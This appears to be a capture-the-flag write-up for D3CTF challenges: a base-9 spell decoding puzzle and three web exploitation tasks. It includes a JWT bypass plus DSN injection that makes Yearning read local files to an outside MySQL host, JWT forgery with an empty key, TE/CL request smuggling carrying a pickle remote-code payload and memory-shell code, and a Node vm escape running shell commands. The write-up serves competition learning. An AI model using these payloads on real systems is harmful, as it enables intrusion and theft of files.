O!!!SPF!!!!!! Enhanced

题目描述

I'm apologized for the missing part of the treasure map. Luckily this is a way to recover it. 2a13:b487:11aa::d3:c7f:2f will tell you the key at its path. But it seems not easy to reach it? The dungeon and the flag inside it is waiting for you.

很抱歉藏宝图丢失了一部分。幸运的是,我们有办法找回它。2a13:b487:11aa::d3:c7f:2f 会告诉你钥匙的路径。但要找到它似乎并不容易?地牢和里面的旗帜正在等着你。

什么玩意

Baldur’s Gate 3 Complete Spell List

留个问题 如何优雅的实现bing爬虫

必然是 ascii(10进制)转字符 但是可见字符在 32-128之间 9进制 没有9 所有位数减一 最高位为8

import json

def base9_to_decimal_to_chr(base9_num):  
    # 9进制转10进制  
    decimal_num = 0 
    for i, digit in enumerate(reversed(str(base9_num))):  
        decimal_num += int(digit) * (9 ** i)  
    # 10进制转字符  
    try:  
        # 确保转换后的ASCII码在可打印字符范围内  
        if 32 <= decimal_num <= 126:  
            return chr(decimal_num)  
        else:  
            return "该10进制数不在可打印ASCII字符范围内"  
    except ValueError:  
        return "无效的9进制数"  
  
with open("output.json") as f:
    data = json.load(f)
for spells in data:
    for spell in spells:
        spells[spell]-=1
flag =''
for i in data:
    num=''
    num+=str(i['1'])
    num+=str(i['2'])
    try:
        num+=str(i['3'])
    except:
        pass
    num10=base9_to_decimal_to_chr(num)
    flag+=num10
    print(flag)

https://koalastothemax.com/?aHR0cHM6Ly9pLnBvc3RpbWcuY2MvOVh4MHhmc2svZmxhZy5wbmc= https://i.postimg.cc/9Xx0xfsk/flag.png d3ctf{y0u_are_spells_m4ster}

Docker

I'm a doctor in sick who needs help for others. The remote container is the same as the official one, except a small patch to convenient you.Don't be worried about it, you will meet the patch and know why it has been made.

我是一名生病的医生,需要别人的帮助。  
远程容器和官方容器一样,只是有一个小补丁方便你。别担心,你会见到这个补丁,知道为什么会有这样的补丁

项目地址:GitHub - cookieY/Yearning:🐳最流行的 mysql 审计平台

https://yearning.io/
版本3.1.7
https://github.com/cookieY/Yearning/releases
是最新版
默认账号/密码:admin/Yearning_admin
远程不是默认密码,鉴权用的是JWT,远程也设置了secret-key,不是默认的
https://github.com/cookieY/yee/blob/1c392ccd2d7dd7de0aa8964583ea1b2415179804/middleware/jwt.go#L82

如果是websocket请求,那么就直接return,不进行jwt读取。

  • HeaderConnection:Connection
  • HeaderUpgrade:Upgrade

加上这2个请求头后可以访问任意接口
但是不是所有接口都能正常调用,需要new(lib.Token).JwtParse(c)的接口全都会报错,因为没有赋值c.Get(“auth”)
审计源码可以发现一处接口



在此处发起mysql连接,由于gorm的驱动(底层是 https://github.com/go-sql-driver/mysql )默认是不允许任意local infile的(并且这里不可控host,如果拿到admin,可以新建数据源,就可控了),因此我们需要注入DSN参数来让它开启任意文件读取并且设置host
go-sql-driver/mysql解析dsn是以最后一个/和/左边的最后一个@解析的。 https://github.com/go-sql-driver/mysql/blob/master/dsn.go#L357

1
2
3
4
5
6
7
8
9
GET with body
http://47.100.57.142:30527/api/v2/fetch/fields?source_id=foo
Content-Type application/json
connection upgrade
upgrade websocket
{
“data_base”:“root:passwd@tcp(1.1.1.1:3306)/foo?allowAllFiles=true&”,
“table”:“test”
}


最终loadlocalfile就可以读取到flag文件。

d3pythonhttp

def verify_token(token):

    header = jwt.get_unverified_header(token)

    kid = header["kid"]

    key = get_key(kid)

    try:

        payload = jwt.decode(token, key, algorithms=["HS256"])

        return True

    except:

        return False

jwt.get_unverified_header(token)未经验证就读取jwt的头部信息 可以伪造jwt头部任意内容 jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin'] 没有验证签名,所以密钥可以伪造为空

[!NOTE] 签名用于验证信息在传输过程中是否被篡改,并且在使用私钥签名令牌的情况下,它还可以验证 JWT 的发送者是否正确

可以jwt伪造

def get_key(kid):

    key = ""

    dir = "/app/"

    try:

        with open(dir+kid, "r") as f:

            key = f.read()

    except:

        pass

    print(key)

    return key

可以人为控制 读取jwt key内容为空

{  
"alg": "HS256",  
"typ": "JWT",
"kid": "J1rrY"
}
{"username":"J1rrY","isadmin":"True"}

伪造是注意签名一定要正确 密钥为空 注意都是 字符串 “True” https://www.bejson.com/jwt/ image.png

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IkoxcnJZIn0.eyJ1c2VybmFtZSI6IkoxcnJZIiwiaXNhZG1pbiI6IlRydWUiLCJzdWIiOiJkZW1vIiwiaWF0IjoxNzE0ODIzNzE1LCJuYmYiOjE3MTQ4MjM3MTUsImV4cCI6MTcxNDkxMDExNX0.rKz3C2kCd22sqSVABrmfVTVm8CRCyGoc5SlWXOoJzyU

http.client image.png conn = http.client.HTTPConnection 优先判断CL其次是TE 在flask的request中 (实验判断) 当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响 data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode()) 注意是 \r\n windows下的换行 image.png

典型构造取 TE 作为data传递

def data():

    """Returns the data sent with the request."""

    if "data" not in ctx:

        if ctx.env.get("HTTP_TRANSFER_ENCODING") ** "chunked":

            ctx.data = ctx.env["wsgi.input"].read()

        else:

            cl = intget(ctx.env.get("CONTENT_LENGTH"), 0)

            ctx.data = ctx.env["wsgi.input"].read(cl)

    return ctx.data

web.py中判断 优先是 chunked 大写绕过即可

def POST(self):

        data = web.data()

        # fix this backdoor

        if b"BackdoorPasswordOnlyForAdmin" in data:

            return "You are an admin!"

        else:

            data  = base64.b64decode(data)

            pickle.loads(data)

            return "Done!"

通过TE-CL 截断字符串 BackdoorPasswordOnlyForAdmin拼接pickle流即可

POST /admin HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 118
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8088
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8088/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Transfer-Encoding: Chunked
cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IkoxcnJZIn0.eyJ1c2VybmFtZSI6IkoxcnJZIiwiaXNhZG1pbiI6IlRydWUifQ.ptL_bTeUj2H2ltI0ytJkq295aaInEqMvw7LZSykyMyw
Connection: close

83
gASVQQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwlX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2FsYycpLnJlYWQoKZSFlFKULg
0

卡了半天没有 Flask 中 request.data?? Content-Type:检查请求的 Content-Type 头部。如果请求体的内容类型不是 Flask 所期望的(如 application/json),可能需要相应地处理或转换数据。 Content-Type: application/x-www-form-urlencoded替换为空或者application/json 才可能拿到数据内容

后端服务器报错

binascii.Error: Invalid base64-encoded string: number of data characters (117) cannot be 1 more than a multiple of 4

base64 decode 四位一解 注意还有一个proxy未使用(python 内存马触发点)

import pickle
import base64
 
class A(object):
    def __reduce__(self):
        return (exec, ("index.GET=lambda self:__import__('os').popen('cat /tmp/this_flag').read()",))
    
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
exec(__import__('os').popen('calc').read())

image.png 法二

import pickle
import base64
 
 
class A(object):
    def __reduce__(self):
        return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))
 
 
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

stack_overflow

const express = require('express')

const vm = require("vm");

考虑vm逃逸

function waf(str) {

    let pattern = /(call_interface)|\{\{.*?\}\}/g;

    return str.match(pattern)

}

思考为什么要禁止 call_interface

case "call_interface":
                    let numOfArgs = stack.pop()
                    let cmd = stack.pop()
                    let args = []
                    for (let i = 0; i < numOfArgs; i++) {
                        args.push(stack.pop())
                    }
                    cmd += "('"  + args.join("','") + "')"
                    let result = vm.runInNewContext(cmd)
                    stack.push(result.toString())
                    break;
"(function (...a){  return a.map(char=>char.charCodeAt(0)).join(' ');})('e','d','c','b','a')"

命令注入 尝试闭合

')//

{"stdin":["');p=this.constructor.constructor(\"return process\")();res=p.mainModule.require(\"child_process\").execSync(\"calc\").toString();//"]}
 let result = vm.runInNewContext(cmd)

 stack.push(result.toString())

直接有输出 runInNewContext vm逃逸类型1